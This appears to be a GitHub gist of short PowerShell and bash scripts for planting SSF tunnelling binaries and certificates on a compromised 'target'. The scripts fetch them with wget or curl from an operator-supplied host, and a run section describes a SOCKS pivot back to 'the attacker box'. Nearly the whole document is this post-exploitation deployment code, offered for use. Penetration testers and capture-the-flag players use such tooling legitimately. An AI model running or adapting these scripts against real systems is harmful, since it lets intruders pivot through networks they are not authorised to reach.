Skip to content

Instantly share code, notes, and snippets.

@xct
Last active June 19, 2019 08:37
Show Gist options
  • Save xct/8bc5dc9a001415a5da6ec3b3c914510b to your computer and use it in GitHub Desktop.
Save xct/8bc5dc9a001415a5da6ec3b3c914510b to your computer and use it in GitHub Desktop.
Deploy ssf to a windows or linux target & run

Windows

param([string]$addr, [string]$port)
wget "http://${addr}:${port}/ssf.exe" -o "ssf.exe"
wget "http://${addr}:${port}/ssfd.exe" -o "ssfd.exe"
mkdir certs
cd certs
wget "http://${addr}:${port}/certs/certificate.crt" -o "certificate.crt"
wget "http://${addr}:${port}/certs/dh4096.pem" -o "dh4096.pem"
wget "http://${addr}:${port}/certs/private.key" -o "private.key"
wget "http://${addr}:${port}/certs/server.crt" -o "server.crt"
wget "http://${addr}:${port}/certs/server.key" -o "server.key"
mkdir trusted
cd trusted
wget "http://${addr}:${port}/certs/trusted/ca.crt" -o "ca.crt"
Write-Host "Upload Complete!"
Write-Host "Example Client:"
Write-Host "ssf.exe -F 2222 -p 443 <ip>"
Write-Host "Example Server:"
Write-Host "ssfd.exe -p 443"
cd ..\..

Linux

#!/bin/bash
curl  "http://$1/ssf" -o "ssf"
curl  "http://$1/ssfd" -o "ssfd"
mkdir certs
cd certs
curl  "http://$1/certs/certificate.crt" -o "certificate.crt"
curl  "http://$1/certs/dh4096.pem" -o "dh4096.pem"
curl  "http://$1/certs/private.key" -o "private.key"
curl  "http://$1/certs/server.crt" -o "server.crt"
curl  "http://$1/certs/server.key" -o "server.key"
mkdir trusted
cd trusted
curl  "http://$1/certs/trusted/ca.crt" -o "ca.crt"
echo "Upload Complete!"
echo "Example Client:"
echo "./ssf -F 2222 -p 443 <ip>"
echo "Example Server:"
echo "-/ssfd -p 443"
cd ../..

Run

The Port 9090 is the local socks port on the attacker box and 10000 is the port used to connect client and server ssf.

./ssfd -p 10000
./ssf -F 9090 -p 10000 <ip>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment